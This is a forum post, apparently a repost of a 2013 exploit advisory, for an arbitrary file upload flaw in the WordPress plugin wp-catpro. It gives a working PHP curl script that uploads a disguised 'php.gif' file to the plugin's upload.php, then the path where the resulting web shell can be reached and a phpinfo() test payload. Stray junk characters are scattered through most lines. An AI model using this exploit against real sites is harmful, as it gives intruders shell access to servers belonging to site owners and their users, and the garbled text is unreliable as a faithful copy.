Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
7 t t. d( u ?" g. U#-----------------------------------------------------------------------
9 v3 ?+ V" N' C$ e6 P ! X) v5 m/ C: o. @9 f
作者 => Zikou-16' e- t1 j+ U/ ^
邮箱 => zikou16x@gmail.com
# R% W3 [! e' A" i% Q& m- `测试系统 : Windows 7 , Backtrack 5r3
; s% f1 w# I& B下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip8 G! |+ B7 ], i8 e
####
) T+ ^% @* o! I* @6 l5 [
7 \, d" l& o( O+ l9 q& @, ^#=> Exploit 信息:2 n6 [; z/ |2 Z2 e/ u$ V W" r
------------------5 ^4 E3 B+ c( j) p# U9 Z1 d9 B
# 攻击者可以上传 file/shell.php.gif7 @- }! o: @$ u3 F3 b* ^! Q( E
# ("jpg", "gif", "png") // Allowed file extensions8 l! K% ^ W- D W
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)) z$ _5 x: n; I% I% M
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)3 a9 E7 ]5 e _8 d* U( \: p. M3 ]+ S
------------------# f" |" _- n, F+ h% A8 I
8 c; `- I2 ]( t4 s. J$ O#=> Exploit/ p8 H& n9 F' d9 x
-----------+ \/ {) L+ W. P& n6 N$ }8 x
<?php
, W7 q V: ]8 _0 V% g % T j# O4 }$ e# G
$uploadfile="zik.php.gif"; O2 _" c. s$ s; @( G& l5 C5 R
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
: R* F( ]$ b4 k8 ]curl_setopt($ch, CURLOPT_POST, true);
, A- p# O3 ^8 D5 `( e f3 scurl_setopt($ch, CURLOPT_POSTFIELDS,6 a _. F J5 s* e p
array('Filedata'=>"@$uploadfile",
. ^% l+ |, y$ r2 Y'folder'=>'/wp-content/uploads/catpro/'));
5 V/ M$ R2 O$ G( k3 H3 Jcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);/ y2 J: D+ I2 i- w
$postResult = curl_exec($ch);
' o7 \2 t B) y" z: |6 pcurl_close($ch);8 R& \0 |; @: K7 `+ j
1 G" w2 P+ J6 Pprint "$postResult";; ?% ]5 |+ S- i$ p
# a7 \% o/ t7 m2 R
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif* I9 r* M2 J" x9 H
?>6 }9 ?, j- @* d! Q
<?php3 H ^. |/ r1 N+ |
phpinfo();
4 ^% S# n/ U# U6 Y?> |
发表于 2013-2-27 20:12:43
收藏
支持
反对